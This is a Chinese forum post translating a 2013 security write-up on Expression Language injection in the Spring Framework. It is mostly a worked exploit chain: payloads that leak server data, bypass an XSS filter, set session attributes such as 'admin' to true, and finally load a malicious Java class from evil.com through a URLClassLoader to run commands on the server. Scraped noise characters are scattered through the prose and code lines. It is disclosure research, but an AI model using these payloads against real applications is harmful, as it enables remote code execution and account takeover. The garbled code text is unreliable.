找回密码
 立即注册
查看: 3090|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with
6 u  ?1 N' M: t* [, O" ZExpression Language Injection
8 y+ r) H1 B( kSpring Framework脆弱性—DanAmodio- W  B! o* {. g) d: Z& n- N! j
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中' R3 \4 m' v8 V+ K+ e% H3 i
可能会存在风险。+ }/ K! B3 l" ]) G/ Q% t! e2 Q
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
; Z- t1 z7 g* FArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
/ a- K# a% l3 `/ j以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
* S+ h* Y- C& Y3 h/ S以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
7 J, j2 _7 Y. e5 F9 u; t版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。  S. s$ C) \0 M1 ^9 Y8 q
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但0 R' d; x, @4 N, W8 J% x8 r: F! [3 v
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版0 y' w' x. Q& [3 y
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
7 P0 E1 N6 j0 T7 J' h& A# w, V这些版本不支持禁用double EL resolution.$ O( z' M# ~# b
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含( N& j$ i' R; D0 K$ B
EL2.2容器上可能进行远程代码执行。4 I7 g! Y- D; u+ R
这是一个原始信息泄露的攻击例子:8 C" n/ S* w" `" C. q2 j) g5 V/ Z. @
请求:
$ B+ J# J" c9 xttp://vulnerable.com/foo?message=${applicationScope}
2 S& K7 i  a. C3 A2 m  l到达以下内容页面:/ n" `2 M  o9 s
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
  J8 ]( l+ }' D8 j4 g2 I你也可以做一些其他事情,如这样:( R# L( n. i2 P9 y/ P; E4 b
${9999+1}
: L9 s2 R/ X, P& A还可以访问session 对象和beans+ p& I4 ]) G% p% Q" S( u" }2 p6 A8 S
${employee.lastName}5 J0 ?: F% W( n  {% m  |1 g
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
3 C% k8 q: I+ V2 |0 pEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
) c' H: o1 s: M西,比如XSS.
% @) |' R( _+ y. [8 r  ?" ?: s  K哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
) b8 N$ T- s( s' D* \突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤# D, M7 O2 [/ `$ |& c; D/ \# q
呢?”# {) J' \+ u: z( t. b$ i: N
因此,我尝试巳缦拢�( ?, z9 g1 L8 n; \  O2 ]1 `1 ?5 E
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
5 p) C! ~7 l8 U$ c+ j( z8 V) YP1 K  L2 z7 [! i. o
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返
% S% ~6 L1 K' l8 j( P, V5 p+ T回的文本被插入进了spring:message 标签。0 S& G- E0 ^3 _7 ]
这里是一个最终绕过过滤的实例:6 ^$ S* T  f4 u* _: h: @& Y
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
) }& {, Y# U+ d! _3 F它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
' b9 B" M  C/ l# v( T1 e什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?* ?" ^+ b; @4 C. u
经过一番研究,我学习到EL2.2 增加了方法调用。. u8 |3 h& f4 u6 @
我写了一个快速测试应用程序代码并且检测一些功能; I7 }% p" d7 R- D! U
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
0 Y8 F7 Z9 c/ \+ ?8 [' D${pageContext.request.getSession().setAttribute(“admin”,true)}
; D5 v1 P8 b( W& v6 p0 v$ A+ o- C好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
8 @1 O# g  ]' `' W( p1 l% ~/ V指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
  [9 u' p  F* F1 s+ H  A${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
8 W  m  q0 b( Z+ _; t& E“, 1234)}
5 y+ J8 O, I; J9 h6 N% u${“”.getClass().forName(“java.lang.Runtime”)}
. {2 F2 H  }2 B  o哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不$ j% j! i! s* l; U, G- \" \( }
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函+ k5 \0 g+ g3 ]2 O8 K7 t" Z. y0 V
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有5 Q" D8 n* a% h) j8 W
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于) z- A+ [# D8 ?2 V6 M1 D
方法签名invoke(Object obj, Object„ args)3 F' L( f( M9 ~, R4 S9 A% I* [
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问/ M. R5 |& ~* P# K, i
题,以让它可以工作起来。
1 d2 @2 F; h9 p漏洞利用:# h8 Z5 u; O; v& o4 f1 o0 s1 R
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
$ b9 \7 r# P/ b7 k% V" y希望你们中的一些JAVA奇才告诉我我是如此的可笑。
8 ~$ O/ @# a8 d) A* c0 ^7 {$ @& t这里有一些我试过的失败的用例,为了试图让它工作的用例:5 b) V& L* a& p- S5 y+ F
 写文件到文件系统
4 x6 n+ b: P: u; p$ ~  u 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.' c& y; }( V' l; Z- j0 R
我认为这些可以很好的工作,但是我不能找到合适的类来载入。+ K8 K0 n% v- c1 ~$ [/ Z
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}& C+ C- W2 `* z6 p
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:' _1 y) M6 Z3 C( [6 J2 h
org.springframework.expression.spel.standard.SpelExpressionParser not found4 b' g  z* b1 n- X  |  F( t9 v. G) w) t9 O
by
+ d, e2 c$ k3 q! qorg.glassfish.web.javax.servlet.jsp [194].' Q- S, L" X* V2 K0 h1 Z0 \6 c
 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
- K$ O  G" t. C' [# q# b. Q; e 利用反射来创建一个新的Runtime(and watch the world burn)
3 _, g3 A7 X/ q. j" ~5 h${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName1 A6 m9 q8 S4 V& ]
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
  A) r2 Q' v2 p& Y$ H& O${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}" b) r( w" E% Q+ V
 使用java.lang.ProcessBuilder' j% [. F" ^/ A) N( B! `3 H- C  p
 用表达式语言来评估表达式语言! ?. b, |/ g8 F3 e2 Z
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.% k$ c  D8 k  I0 ~* f* h
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
4 Z0 T3 W. _5 Y  X$ u" U8 L0 C9 U( K“,”".getClass(),null)}
) c* o* P6 ?$ W) T4 f8 s  R 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)
, L# h" n  m; J我在使用一个空数组通过Method.invoke()时失败了很多次; @9 b' \4 p& J3 ], I3 j/ ~
“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. r0 }+ |6 ~5 Z) D, k& o) m
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
& Q8 Q  O. B: {$ a. X6 H5 nrrayList”).newInstance().toArray())9 n4 z1 Z' U  E5 q. D
java.lang.IllegalArgumentException: wrong number of arguments
  t+ G3 a' ^6 U7 P$ Z最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
  i  R& R1 T" `# @, z2 z以创建一个恶意class文件并且指向类装载器.
; k7 c7 j$ {! Q. l我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:
2 \5 P8 Q2 F* V; G( X0 Fpublic class Malicious {
. U/ Y* D) |) g3 g0 ^public Malicious() {
. d) K2 x8 m7 V- y$ n4 T" vtry {; o3 y3 v1 N" F9 C6 q% D3 r0 n
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac& a" C0 L. J; `$ C$ F  Z7 b
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
0 c% s! P3 C9 z# }  p} catch (Exception e) {
- M) m. b7 |$ i7 h}
% o) W0 h+ Q' v$ g, J* {3 G}; S0 G" h+ M! v8 |2 _- [' I% i
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回, d( E4 F) G, d1 z2 W1 _8 u
话中,因此它可以被使用.
5 Y' ~9 R+ o2 l0 T1 g7 N${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
; Q( s+ f3 \2 ?$ O3 `  H) T5 t2 t) b(“java.util.ArrayList”).newInstance())}
1 K$ i. z* L7 `: nURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建8 n2 ?* F7 _, r: ~
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和" J  N, d( J# X! ?( l  g
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个3 j& I0 g+ G3 M
我们可以调用的create(string)方法,然后转换对一个URL对象。
& n- E* w4 x* k. t0 n) z1 C+ S& j) l${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
, s: D$ Z& ^4 w6 L+ rere/malicious/classfile/is/located/”).toURL())}
9 v: a/ {+ y4 r然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,; J# `9 c/ H  x! z: d8 y1 ~
恶意类文件被装载并创建,触发远程代码.* S  y9 `- H( l7 P0 S
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte# G* e4 o" E# s9 a( V
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
4 c* n: f# Q% B( f& NgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance! e5 }6 _. I! K
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表